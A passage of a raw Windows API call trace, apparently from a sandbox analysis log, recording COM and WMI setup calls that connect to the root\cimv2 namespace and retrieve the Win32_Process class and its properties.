[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1bf118c0) returned 0x0 [0086.307] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf118c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0086.307] WbemDefPath:IUnknown:Release (This=0x1bf118c0) returned 0x3 [0086.307] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0086.307] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0086.307] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a800, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0086.307] WbemDefPath:IUnknown:Release (This=0x1bf3a800) returned 0x2 [0086.307] WbemDefPath:IUnknown:Release (This=0x1bf3a800) returned 0x1 [0086.307] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0086.307] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0086.307] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a800, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1bf3a800) returned 0x0 [0086.307] WbemDefPath:IUnknown:AddRef (This=0x1bf3a800) returned 0x3 [0086.307] WbemDefPath:IUnknown:Release (This=0x1bf3a800) returned 0x2 [0086.307] WbemDefPath:IWbemPath:SetText (This=0x1bf3a800, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0086.307] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3a800, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0086.308] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a800, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0086.308] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a800, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0086.308] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0086.308] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0086.308] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0086.308] IUnknown:Release (This=0x111f638) returned 0x1 [0086.309] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1bf11ae0) returned 0x0 [0086.309] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf11ae0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0086.309] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bf11ae0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1bf11b00) returned 0x0 [0086.309] WbemLocator:IUnknown:Release (This=0x1bf11ae0) returned 0x0 [0086.309] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf11b00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1bf11b00) returned 0x0 [0086.309] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf11b00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0086.310] WbemLocator:IUnknown:AddRef (This=0x1bf11b00) returned 0x3 [0086.310] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf11b00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0086.310] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf11b00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0086.310] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf11b00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0086.310] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0086.310] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0086.310] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf11b00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0086.310] WbemLocator:IUnknown:Release (This=0x1bf11b00) returned 0x2 [0086.310] WbemLocator:IUnknown:Release (This=0x1bf11b00) returned 0x1 [0086.310] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0086.310] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0086.310] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf11b00, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bf11b00) returned 0x0 [0086.310] WbemLocator:IUnknown:AddRef (This=0x1bf11b00) returned 0x3 [0086.310] WbemLocator:IUnknown:Release (This=0x1bf11b00) returned 0x2 [0086.310] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3a800, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0086.310] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a800, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0086.310] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a800, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0086.310] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1bf118a0) returned 0x0 [0086.311] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bf118a0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bed29c0) returned 0x0 [0086.392] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed29c0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x11dee20) returned 0x0 [0086.392] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11dee20, pProxy=0x1bed29c0, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0086.392] WbemLocator:IUnknown:Release (This=0x11dee20) returned 0x1 [0086.392] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed29c0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x11dee60) returned 0x0 [0086.392] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed29c0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x11dee20) returned 0x0 [0086.392] WbemLocator:IClientSecurity:SetBlanket (This=0x11dee20, pProxy=0x1bed29c0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0086.392] WbemLocator:IUnknown:Release (This=0x11dee20) returned 0x2 [0086.392] WbemLocator:IUnknown:Release (This=0x11dee60) returned 0x1 [0086.393] CoTaskMemFree (pv=0x11dd2d0) [0086.393] WbemLocator:IUnknown:AddRef (This=0x1bed29c0) returned 0x2 [0086.393] WbemLocator:IUnknown:Release (This=0x1bf118a0) returned 0x0 [0086.393] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0086.393] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0086.393] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed29c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x11dee30) returned 0x0 [0086.393] WbemLocator:IRpcOptions:Query (in: This=0x11dee30, pPrx=0x1bf11aa0, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0086.394] WbemLocator:IUnknown:Release (This=0x11dee30) returned 0x2 [0086.394] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0086.394] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0086.394] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed29c0, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bed29c0) returned 0x0 [0086.394] WbemLocator:IUnknown:Release (This=0x1bed29c0) returned 0x2 [0086.394] SysStringLen (param_1=0x0) returned 0x0 [0086.394] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3a800, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0086.394] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a800, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0086.394] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a800, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0086.394] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ac80, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0086.394] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ac80, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0086.395] IWbemServices:GetObject (in: This=0x1bed29c0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x1bef4e10, ppCallResult=0x0) returned 0x0 [0086.398] IWbemClassObject:Get (in: This=0x1bef4e10, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0086.398] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0086.398] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0086.398] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0086.398] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0086.398] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0086.399] IUnknown:Release (This=0x111f638) returned 0x1 [0086.400] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1bf118a0) returned 0x0 [0086.401] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf118a0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0086.401] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf118a0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1bf3a8c0) returned 0x0 [0086.401] WbemDefPath:IUnknown:Release (This=0x1bf118a0) returned 0x0 [0086.401] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a8c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1bf3a8c0) returned 0x0 [0086.401] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a8c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0086.402] WbemDefPath:IUnknown:AddRef (This=0x1bf3a8c0) returned 0x3 [0086.402] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a8c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0086.402] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a8c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0086.402] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a8c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1bf11b20) returned 0x0 [0086.402] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf11b20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0086.402] WbemDefPath:IUnknown:Release (This=0x1bf11b20) returned 0x3 [0086.402] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0086.402] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0086.402] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a8c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0086.402] WbemDefPath:IUnknown:Release (This=0x1bf3a8c0) returned 0x2 [0086.402] WbemDefPath:IUnknown:Release (This=0x1bf3a8c0) returned 0x1 [0086.402] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0086.402] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0086.402] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a8c0, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bf3a8c0) returned 0x0 [0086.402] WbemDefPath:IUnknown:AddRef (This=0x1bf3a8c0) returned 0x3 [0086.402] WbemDefPath:IUnknown:Release (This=0x1bf3a8c0) returned 0x2 [0086.402] WbemDefPath:IWbemPath:SetText (This=0x1bf3a8c0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0086.403] IWbemClassObject:Get (in: This=0x1bef4e10, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0086.403] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0086.403] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0086.403] IWbemClassObject:Get (in: This=0x1bef4e10, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0086.403] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0086.403] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0086.403] IWbemClassObject:Get (in: This=0x1bef4e10, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0086.403] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0086.404] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0086.404] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0086.404] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0086.404] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0086.404] IUnknown:Release (This=0x111f638) returned 0x1 [0086.406] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf11520) returned 0x0 [0086.407] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf11520, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0086.407] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf11520, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3bd00) returned 0x0 [0086.407] WbemDefPath:IUnknown:Release (This=0x1bf11520) returned 0x0 [0086.407] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bd00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3bd00) returned 0x0 [0086.407] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bd00, 